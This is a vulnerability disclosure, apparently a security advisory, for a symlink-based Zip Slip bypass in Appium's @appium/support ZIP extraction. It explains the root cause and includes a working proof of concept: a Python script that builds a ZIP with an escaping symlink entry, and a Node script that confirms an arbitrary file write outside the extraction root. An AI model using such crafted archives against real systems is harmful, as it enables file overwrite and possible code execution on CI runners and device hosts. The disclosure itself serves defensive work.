Appium: Symlink based Zip Slip in @appium/support ZIP extraction

Summary

CVE-2026-30973 (GHSA-rfx7-4xw3-gh4m) was a plain path traversal in the entry name. The containment check built an Error object without throwing it, so an entry literally named something like ../evil.txt was written outside the destination. That issue was fixed in @appium/support 7.0.6 by actually rejecting out of bound entry names.

This finding is a different vector that the 7.0.6 fix does not cover. The archive entry names here are completely legitimate (for example pwn and pwn/owned.txt, no .. anywhere), so every name based defense accepts them. The escape happens through a symbolic link. One entry is a symlink whose target points outside the extraction directory, and a later entry is a regular file whose name resolves through that symlink. The name based containment check never inspects the symlink target, and the extractor writes the symlink target verbatim, so the file lands outside the extraction root.

The two issues compared on the same patched version 7.2.5:

Details

Root cause

The extractor applies only a lexical containment check on each entry's own name, then for a symlink entry it creates the link with the target taken straight from the archive:

// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5
97   if (!isSubPath(dest, dir)) {                 // lexical only, never resolves symlinks
98       throw new Error(`Out of bound path "${dest}" found while processing file ${fileName}`);
99   }
...
142  await fs.symlink(link, dest);                // link target comes verbatim from the archive

isSubPath compares normalized strings and does not call realpath, so for the file entry pwn/owned.txt the destination dir/pwn/owned.txt is lexically inside dir and the check passes, even though dir/pwn is a symlink created by the previous entry that points outside dir. The write then follows that symlink and escapes. The symlink target itself is never validated against the extraction root.

PoC

<img width="1443" height="411" alt="image" src="https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a" />

build_zips.py

#!/usr/bin/env python3

import os, sys, zipfile, shutil

work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork"
pid = os.getpid()
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)

# Test A: CVE-2026-30973 plain "../" path traversal in the entry name
extractA = os.path.join(work, "extractA"); os.makedirs(extractA)
escapeA_name = f"escapeA_{pid}.txt"            # would land in work/ (outside extractA)
escapeA = os.path.join(work, escapeA_name)
zipA = os.path.join(work, "cve_vector.zip")
with zipfile.ZipFile(zipA, "w") as z:
    z.writestr("../" + escapeA_name, "CVE-2026-30973 plain traversal\n")

# Test B: symlink entry whose target escapes, then a file through it 
extractB = os.path.join(work, "extractB"); os.makedirs(extractB)
escapeB = os.path.join(work, f"escapeB_{pid}"); os.makedirs(escapeB)
zipB = os.path.join(work, "symlink_bypass.zip")
with zipfile.ZipFile(zipB, "w") as z:
    sl = zipfile.ZipInfo("pwn")
    sl.create_system = 3                       # unix, so external_attr carries the mode
    sl.external_attr = (0o120777 & 0xFFFF) << 16   # S_IFLNK | 0777
    z.writestr(sl, escapeB)                     # symlink target is the file body
    fi = zipfile.ZipInfo("pwn/owned.txt")
    fi.create_system = 3
    fi.external_attr = (0o100644 & 0xFFFF) << 16
    z.writestr(fi, "PWNED via symlink Zip Slip\n")

print("\t".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))

zipslip_poc.js

'use strict';
const fs = require('fs');
const path = require('path');
const support = require('@appium/support');

const [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;

(async () => {
  const ver = require('@appium/support/package.json').version;
  console.log(`[*] @appium/support version: ${ver}`);
  console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`);

  // Test A: the CVE-2026-30973 vector
  console.log('\n=== Test A: CVE-2026-30973 plain "../" entry name ===');
  let aBlocked = false;
  try {
    await support.zip.extractAllTo(zipA, extractA);
  } catch (e) {
    aBlocked = true;
    console.log(`[+] REJECTED by extractor: ${String(e.message).split('\n')[0]}`);
  }
  const aEscaped = fs.existsSync(escapeA);
  console.log(`[=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'}`);

  // Test B: this finding, the symlink bypass 
  console.log('\n=== Test B: symlink entry + file written through it (this finding) ===');
  try {
    await support.zip.extractAllTo(zipB, extractB);
  } catch (e) {
    console.log(`[i] extractor message: ${String(e.message).split('\n')[0]}`);
  }
  const planted = path.join(escapeB, 'owned.txt');
  const bEscaped = fs.existsSync(planted);
  if (bEscaped) {
    console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED');
    console.log(`    wrote  : ${planted}`);
    console.log(`    content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}`);
  } else {
    console.log('[-] symlink vector did not escape');
  }

  console.log('\n=== SUMMARY (same installed version) ===');
  console.log(`A  CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}`);
  console.log(`B  symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}`);
  process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2);
})().catch((e) => {
  console.error('ERROR', e);
  process.exit(3);
});
use

Impact

An attacker who controls an archive that Appium extracts can write files to arbitrary locations writable by the Appium process, since the write follows a symlink to any target the archive specifies. Depending on where Appium runs this can overwrite a configuration file, drop a script into a startup or profile location, or replace a binary on the PATH, which can escalate to code execution. On a continuous integration runner or a device farm host the reachable paths include anything writable by the service account.